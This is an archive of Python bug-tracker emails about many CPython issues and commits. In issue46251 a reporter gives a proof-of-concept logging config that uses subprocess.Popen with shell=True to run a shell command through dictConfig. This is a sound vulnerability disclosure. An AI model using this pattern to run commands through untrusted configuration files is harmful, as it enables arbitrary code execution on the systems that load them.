[issue46252] SSLWantReadError causes _SelectorSocketTransport to close

2022-01-04 Thread Christian Heimes


Change by Christian Heimes :


--
assignee: christian.heimes -> 

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46238] Improve constants usage / definition in asyncio.windows_events

2022-01-04 Thread Andrew Svetlov


Andrew Svetlov  added the comment:


New changeset 1b111338cfe7840feea95e30ea8124063c450c65 by Nikita Sobolev in 
branch 'main':
bpo-46238: reuse `_winapi` constants in `asyncio.windows_events` (GH-30352)
https://github.com/python/cpython/commit/1b111338cfe7840feea95e30ea8124063c450c65


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46238] Improve constants usage / definition in asyncio.windows_events

2022-01-04 Thread Andrew Svetlov


Change by Andrew Svetlov :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46239] Incosistent error message in asyncio: windows_events / windows_utils

2022-01-04 Thread Andrew Svetlov


Andrew Svetlov  added the comment:


New changeset 5a2a65096c3ec2d37f33615f2a420d2ffcabecf2 by Nikita Sobolev in 
branch 'main':
bpo-46239: improve error message when importing `asyncio.windows_events` 
(GH-30353)
https://github.com/python/cpython/commit/5a2a65096c3ec2d37f33615f2a420d2ffcabecf2


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46239] Incosistent error message in asyncio: windows_events / windows_utils

2022-01-04 Thread miss-islington


Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 3.0 -> 4.0
pull_requests: +28597
pull_request: https://github.com/python/cpython/pull/30388

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46239] Incosistent error message in asyncio: windows_events / windows_utils

2022-01-04 Thread miss-islington


Change by miss-islington :


--
pull_requests: +28598
pull_request: https://github.com/python/cpython/pull/30389

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46187] Optionally support rounding for math.isqrt()

2022-01-04 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:

Is

   i, rem = isqrt_rem(n)
   i + (rem != 0)

better than

   (isqrt(n<<2) + 1) >> 1

or

   n and isqrt(n-1) + 1

?

As for use cases, there were few cases in my experience when I needed the 
ceiling square root, mostly in simple experiments in REPL, but it was so rary, 
and workarounds satisfied me. So it would be a nice to have feature which I 
would use perhaps once in a year or two years, but can live without it. And I 
do not want to pay a cost of significantly complicating API or slowing down 
isqrt().

--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46239] Incosistent error message in asyncio: windows_events / windows_utils

2022-01-04 Thread miss-islington


miss-islington  added the comment:


New changeset 86d1b8c13fcaf8a974cf2ae23b31fe87dfdb6267 by Miss Islington (bot) 
in branch '3.9':
bpo-46239: improve error message when importing `asyncio.windows_events` 
(GH-30353)
https://github.com/python/cpython/commit/86d1b8c13fcaf8a974cf2ae23b31fe87dfdb6267


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46239] Incosistent error message in asyncio: windows_events / windows_utils

2022-01-04 Thread Andrew Svetlov


Change by Andrew Svetlov :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46239] Incosistent error message in asyncio: windows_events / windows_utils

2022-01-04 Thread Andrew Svetlov


Andrew Svetlov  added the comment:


New changeset cf48a148190a6ccadc144cab2e2046e95c20fb57 by Miss Islington (bot) 
in branch '3.10':
bpo-46239: improve error message when importing `asyncio.windows_events` 
(GH-30353) (#30388)
https://github.com/python/cpython/commit/cf48a148190a6ccadc144cab2e2046e95c20fb57


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue44092] [sqlite3] Remove special rollback handling

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:


New changeset a09062c267a94200ad299f779429fea1b571ee35 by Erlend Egeberg 
Aasland in branch 'main':
bpo-44092: Move What's New entry to where it belongs (GH-30381)
https://github.com/python/cpython/commit/a09062c267a94200ad299f779429fea1b571ee35


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46212] Avoid temporary `varargs` tuple creation in argument passing

2022-01-04 Thread colorfulappl


colorfulappl  added the comment:

I am a rookie in Python, did not notice changing PyAPI_FUNC means breaking 
backward compatibility.

I have reverted _PyArg_UnpackKeywordsWithVararg and committed again.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Marc-Andre Lemburg


Marc-Andre Lemburg  added the comment:

On 04.01.2022 00:49, Erlend E. Aasland wrote:
> 
> Erlend E. Aasland  added the comment:
> 
> I see that PEP 249 does not define the semantics of lastrowid for 
> executemany(). What's the precedence here, MAL? IMO, it would be nice to be 
> able to fetch the last row id after you've done a 1000 inserts using 
> executemany().

The DB-API deliberately leaves this undefined, since there are many ways you
could implement this, e.g.

- return the last row id for the last entry in the array passed to 
.executemany()
- return the last row id of the last actually modified/inserted row after
running .executemany()
- return an array of row ids, one for each row modified/inserted
- return a row id of one of the modified/inserted rows, without defining which
- always return None for .executemany()

Note that in some cases, the order of actions taken by the database is not
predefined (e.g. some databases run such inserts in chunks across
a cluster), so even the "last" semantics are not clear.

> So, another option would be to keep "set-lastrowid" in the query loop, and 
> just remove the condition; we set it every time (but of course only build a 
> PyObject of it when the loop is done).

Since the DB-API leaves this undefined, you are free to add your own
meaning, which makes most sense for SQLite, to always return None or
not implement it at all.

DB-API extensions such as Cursor.lastrowid are optional and don't need
to be implemented if they don't make sense for a particular use case:

https://www.python.org/dev/peps/pep-0249/#optional-db-api-extensions

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Erlend E. Aasland

Erlend E. Aasland  added the comment:

Thank you for your input Marc-André.

For SQLite, it's pretty simple: we use an API called 
sqlite3_last_insert_rowid() which takes the database connection as it's 
argument, not a statement pointer. This function returns "the rowid of the most 
recent successful INSERT into a rowid table or virtual table on database 
connection" (quote from SQLite docs). IMO, it would make sense to also use this 
post executemany().

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46254] Better fitting type for iterating in the trace_init C function

2022-01-04 Thread Uriya Harpeness


Change by Uriya Harpeness :


--
components: C API
nosy: uriya1998
priority: normal
severity: normal
status: open
title: Better fitting type for iterating in the trace_init C function
type: enhancement
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46245] Add support for dir_fd in shutil.rmtree()

2022-01-04 Thread Yassir Karroum


Yassir Karroum  added the comment:

No problem, I'll resume working on issue25927, thanks for the fix.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.*

2022-01-04 Thread Yassir Karroum


Change by Yassir Karroum :


--
versions: +Python 3.11 -Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46202] remove opcode POP_EXCEPT_AND_RERAISE

2022-01-04 Thread Mark Shannon


Mark Shannon  added the comment:


New changeset a94461d7189d7f1147ab304a332c8684263dc17e by Irit Katriel in 
branch 'main':
bpo-46202: Remove opcode POP_EXCEPT_AND_RERAISE (GH-30302)
https://github.com/python/cpython/commit/a94461d7189d7f1147ab304a332c8684263dc17e


--
nosy: +Mark.Shannon

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46240] Incorrect hint about forgetting a comma

2022-01-04 Thread miss-islington


Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 3.0 -> 4.0
pull_requests: +28599
pull_request: https://github.com/python/cpython/pull/30390

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46240] Incorrect hint about forgetting a comma

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:


New changeset 70f415fb8b632247e28d87998642317ca7a652ae by Pablo Galindo Salgado 
in branch 'main':
bpo-46240: Correct the error for unclosed parentheses when the tokenizer is not 
finished (GH-30378)
https://github.com/python/cpython/commit/70f415fb8b632247e28d87998642317ca7a652ae


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:


New changeset e09d94a140a5f6903017da9b6ac752ba041d69da by Pablo Galindo Salgado 
in branch 'main':
bpo-46231: Remove invalid_* rules preceded by more tokens from the grammar docs 
(GH-30341)
https://github.com/python/cpython/commit/e09d94a140a5f6903017da9b6ac752ba041d69da


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs

2022-01-04 Thread miss-islington


Change by miss-islington :


--
pull_requests: +28601
pull_request: https://github.com/python/cpython/pull/30392

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs

2022-01-04 Thread miss-islington


Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 3.0 -> 4.0
pull_requests: +28600
pull_request: https://github.com/python/cpython/pull/30391

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.*

2022-01-04 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:

I have also almost finished this issue (only needed to add some tests and docs).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs

2022-01-04 Thread Pablo Galindo Salgado


Change by Pablo Galindo Salgado :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46240] Incorrect hint about forgetting a comma

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:

Thanks Andre for the report!

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Marc-Andre Lemburg

Marc-Andre Lemburg  added the comment:

On 04.01.2022 11:02, Erlend E. Aasland wrote:
> 
> Erlend E. Aasland  added the comment:
> 
> Thank you for your input Marc-André.
> 
> For SQLite, it's pretty simple: we use an API called 
> sqlite3_last_insert_rowid() which takes the database connection as it's 
> argument, not a statement pointer. This function returns "the rowid of the 
> most recent successful INSERT into a rowid table or virtual table on database 
> connection" (quote from SQLite docs). IMO, it would make sense to also use 
> this post executemany().

Sounds like a plan.

If possible, it's usually better to have the .executemany() create a
cursor with an output array providing the row ids, e.g. using "INSERT ...
RETURNING ..." (PostgreSQL). That way you can access all row ids and
can also provide the needed detail in case the INSERTs happen out of
order to map them to the input data.

For cases where you don't need sequence IDs, it's often better to
not rely on auto-increment columns for IDs, but instead use random
pre-generated IDs. Saves roundtrips to the database and works nicely
with cluster databases as well.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46181] Destroying an expaned Combobox prevents Entry focus until Alt+Tab

2022-01-04 Thread Serhiy Storchaka


Change by Serhiy Storchaka :


--
resolution:  -> third party
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46119] Update bundled pip to 21.3.1 and setuptools to 59.7.0

2022-01-04 Thread Kumar Aditya


Change by Kumar Aditya :


--
pull_requests: +28602
pull_request: https://github.com/python/cpython/pull/30393

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46254] Better fitting type for iterating in the trace_init C function

2022-01-04 Thread Roundup Robot


Change by Roundup Robot :


--
keywords: +patch
nosy: +python-dev
nosy_count: 1.0 -> 2.0
pull_requests: +28603
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30394

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46202] remove opcode POP_EXCEPT_AND_RERAISE

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs

2022-01-04 Thread miss-islington


miss-islington  added the comment:


New changeset 743394f2811796b30b618d4cb6dd582715f8638c by Miss Islington (bot) 
in branch '3.10':
bpo-46231: Remove invalid_* rules preceded by more tokens from the grammar docs 
(GH-30341)
https://github.com/python/cpython/commit/743394f2811796b30b618d4cb6dd582715f8638c


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.*

2022-01-04 Thread Yassir Karroum


Yassir Karroum  added the comment:

Alright, I'll stop working on it then, thanks for the fix !

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread miss-islington


Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 5.0 -> 6.0
pull_requests: +28604
pull_request: https://github.com/python/cpython/pull/30395

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread miss-islington


miss-islington  added the comment:


New changeset b949845b36b999185ed2bdf8a04dca1da39f3002 by Hugo van Kemenade in 
branch 'main':
bpo-33252: Document that ResourceWarning is ignored by default (GH-30358)
https://github.com/python/cpython/commit/b949845b36b999185ed2bdf8a04dca1da39f3002


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread miss-islington


Change by miss-islington :


--
pull_requests: +28605
pull_request: https://github.com/python/cpython/pull/30396

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43224] Add support for PEP 646

2022-01-04 Thread Matthew Rahtz


Change by Matthew Rahtz :


--
components: +Parser, Tests
nosy: +lys.nikolaou, pablogsal
title: Add support for PEP 646 (Variadic Generics) to typing.py -> Add support 
for PEP 646
versions: +Python 3.11 -Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46255] Remove unnecessary check in _IOBase._check*() methods

2022-01-04 Thread Ma Lin


New submission from Ma Lin :

These methods are METH_NOARGS, in all cases the second parameter will be NULL.

{"_checkClosed",   _PyIOBase_check_closed, METH_NOARGS},
{"_checkSeekable", _PyIOBase_check_seekable, METH_NOARGS},
{"_checkReadable", _PyIOBase_check_readable, METH_NOARGS},
{"_checkWritable", _PyIOBase_check_writable, METH_NOARGS},

--
components: IO
messages: 409672
nosy: malin
priority: normal
severity: normal
status: open
title: Remove unnecessary check in _IOBase._check*() methods
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46255] Remove unnecessary check in _IOBase._check*() methods

2022-01-04 Thread Ma Lin


Change by Ma Lin :


--
keywords: +patch
pull_requests: +28606
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30397

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread Irit Katriel


Irit Katriel  added the comment:


New changeset 01b12942d0ba2fd3c2efdfb796e8816efc607ee7 by Miss Islington (bot) 
in branch '3.10':
bpo-33252: Document that ResourceWarning is ignored by default (GH-30358) 
(GH-30395)
https://github.com/python/cpython/commit/01b12942d0ba2fd3c2efdfb796e8816efc607ee7


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread Irit Katriel


Irit Katriel  added the comment:


New changeset 8f082e2bf43c1367e30d00874267dd25f7256cd0 by Miss Islington (bot) 
in branch '3.9':
bpo-33252: Document that ResourceWarning is ignored by default (GH-30358) 
(GH-30396)
https://github.com/python/cpython/commit/8f082e2bf43c1367e30d00874267dd25f7256cd0


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46251] logger.config.configure_formatter executes arbitrary code

2022-01-04 Thread MarkBaggett


MarkBaggett  added the comment:

Let me also mention that the problem really includes anything that uses the 
resolve() functions. Here is a working example that puts an exploit in a 
HANDLER rather than a FORMATTER.

$ ls /tmp/alsoworked
ls: cannot access '/tmp/alsoworked': No such file or directory
$ python calculator.py 
$ ls /tmp/alsoworked 
/tmp/alsoworked
$ cat log.config
{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworked",
"shell" : "True"
}
}
}


Or if you prefer it in one file..

-

import logging.config
import json

log_config_txt = '''{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworks",
"shell" : "True"
}
}
}
'''

log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43224] Add support for PEP 646

2022-01-04 Thread Matthew Rahtz


Change by Matthew Rahtz :


--
pull_requests: +28607
pull_request: https://github.com/python/cpython/pull/30398

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread miss-islington


Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 4.0 -> 5.0
pull_requests: +28608
pull_request: https://github.com/python/cpython/pull/30400

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread Pablo Galindo Salgado

Pablo Galindo Salgado  added the comment:


New changeset 7d7817cf0f826e566d8370a0e974bbfed6611d91 by Kumar Aditya in 
branch 'main':
bpo-20369: concurrent.futures.wait() now deduplicates futures given a… 
(GH-30168)
https://github.com/python/cpython/commit/7d7817cf0f826e566d8370a0e974bbfed6611d91


--
nosy: +pablogsal

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread miss-islington


Change by miss-islington :


--
pull_requests: +28609
pull_request: https://github.com/python/cpython/pull/30401

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43976] Allow Python distributors to add custom site install schemes

2022-01-04 Thread Miro Hrončok

Miro Hrončok  added the comment:

In Fedora 36+ / Python 3.10+ we now use an install_scheme that looks like this:

'purelib': '{base}/local/lib/python{py_version_short}/site-packages',
'platlib': 
'{platbase}/local/{platlibdir}/python{py_version_short}/site-packages',
'scripts': '{base}/local/bin',
'data': '{base}/local',
...

We got a user report [1] saying that `pip install --root ... --prefix /usr` the 
prefix is not respected at all.

That is, users expect that /usr/local is the prefix, and when they explicitly 
set it to /usr, the /local/ bit will not be there, while in reality, /local/ is 
not a part of the prefix, but it is a part of the installation scheme.

I can somehow relate to that assumption.

Now I wonder whether we should have adapted prefix instead of the installation 
scheme :/


Any ideas on how to approach this problem? I am quite clueless.


[1] https://bugzilla.redhat.com/show_bug.cgi?id=2026979

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46244] typing._TypeVarLike missing __slots__

2022-01-04 Thread Ken Jin


Ken Jin  added the comment:

Good catch Arie. Would you like to submit a PR for this?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.*

2022-01-04 Thread Georg Brandl


Change by Georg Brandl :


--
nosy:  -georg.brandl

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Ken Jin


Ken Jin  added the comment:

> It does seem inconsistent that Any is not considered a type but list[int] is

Yeah, almost none of the typing "types" are types ever since PEP 560. 
Issue45755 was a side effect too.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__

2022-01-04 Thread Jason R. Coombs


Jason R. Coombs  added the comment:

Today I learned something. Thanks Arie. Yes, I agree that's a mistake. Perhaps 
the test suite should also have a test to capture the missed expectation (that 
__dict__ should not be present or setting attributes on EntryPoints instances 
should fail).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue44899] tarfile: add support for creating an archive of potentially changing files

2022-01-04 Thread Marko Tuononen


Change by Marko Tuononen :


--
keywords: +patch
pull_requests: +28610
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30402

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread miss-islington

miss-islington  added the comment:


New changeset 9a9061d1ca7e28dc2b7e326153e933872c7cd452 by Miss Islington (bot) 
in branch '3.9':
bpo-20369: concurrent.futures.wait() now deduplicates futures given a… 
(GH-30168)
https://github.com/python/cpython/commit/9a9061d1ca7e28dc2b7e326153e933872c7cd452


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread miss-islington

miss-islington  added the comment:


New changeset ba124672d7bf490bea2930a3e8371823db5d4cae by Miss Islington (bot) 
in branch '3.10':
bpo-20369: concurrent.futures.wait() now deduplicates futures given a… 
(GH-30168)
https://github.com/python/cpython/commit/ba124672d7bf490bea2930a3e8371823db5d4cae


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46248] Compilation errors on macOS

2022-01-04 Thread Ronald Oussoren


Ronald Oussoren  added the comment:

Part of the problem here is that most keys in the result of 
sysconfig.get_config_vars() are copied as-is from the CPython Makefile and 
pyconfig.h header file.

The keys copied from the Makefile are in a lot of cases not useful for users of 
python because they contain values that are only useful while building CPython 
itself. 

Without knowing your use case it is hard to point you to a better solution, but 
as Ned writes in general just follow the instructions from the extending and 
embedding documentation.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43224] Add support for PEP 646

2022-01-04 Thread Alex Waygood


Change by Alex Waygood :


--
nosy: +gvanrossum, kj

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread Alex Waygood


Change by Alex Waygood :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46256] Objects __del__ called after module have been removed

2022-01-04 Thread Daniele Varrazzo


New submission from Daniele Varrazzo :

The following bug has been reported to Psycopg:

https://github.com/psycopg/psycopg/issues/198

At the end of the program, errors such as the following are dumped:

Exception ignored in: 
Traceback (most recent call last):
  File 
"/opt/homebrew/lib/python3.10/site-packages/psycopg/pq/pq_ctypes.py", line 91, 
in __del__
TypeError: 'NoneType' object is not callable

Where `None` is some module-level objects, such as `os.getpid`.

Unfortunately I don't have a full repro. The error seems only happening in 
Python 3.10.

--
components: Interpreter Core
messages: 409684
nosy: piro
priority: normal
severity: normal
status: open
title: Objects __del__ called after module have been removed
versions: Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue26208] decimal C module's exceptions don't match the Python version

2022-01-04 Thread Cédric Krier

Change by Cédric Krier :


--
nosy: +ced

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45173] Remove configparser deprecations

2022-01-04 Thread Hugo van Kemenade


Hugo van Kemenade  added the comment:

Searching 4,764 sdists from the top 5,000 PyPI packages, these 13 contain 
"LegacyInterpolation":

configparser-5.1.0.tar.gz
configparser2-4.0.0.tar.gz
eth_abi-2.1.1.tar.gz
eth-account-0.5.6.tar.gz
eth-hash-0.3.2.tar.gz
eth-utils-1.10.0.tar.gz
hexbytes-0.2.2.tar.gz
jedi-0.18.1.tar.gz
magicinvoke-2.4.5.tar.gz
mypy-0.910.tar.gz
pytype-2021.11.12.tar.gz
web.py-0.62.tar.gz
webcolors-1.11.1.tar.gz


The first two are stdlib backports: configparser is active and configparser2 
was last updated in 2015:

configparser-5.1.0/src/backports/configparser/__init__.py:
"LegacyInterpolation",
configparser-5.1.0/src/backports/configparser/__init__.py:class 
LegacyInterpolation(Interpolation):
configparser-5.1.0/src/configparser.py:"LegacyInterpolation",
configparser-5.1.0/src/configparser.py:LegacyInterpolation,
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:interpolation = 
configparser.LegacyInterpolation()
configparser-5.1.0/src/test_configparser.py:class 
ConfigParserTestCaseLegacyInterpolation(ConfigParserTestCase, 
unittest.TestCase):

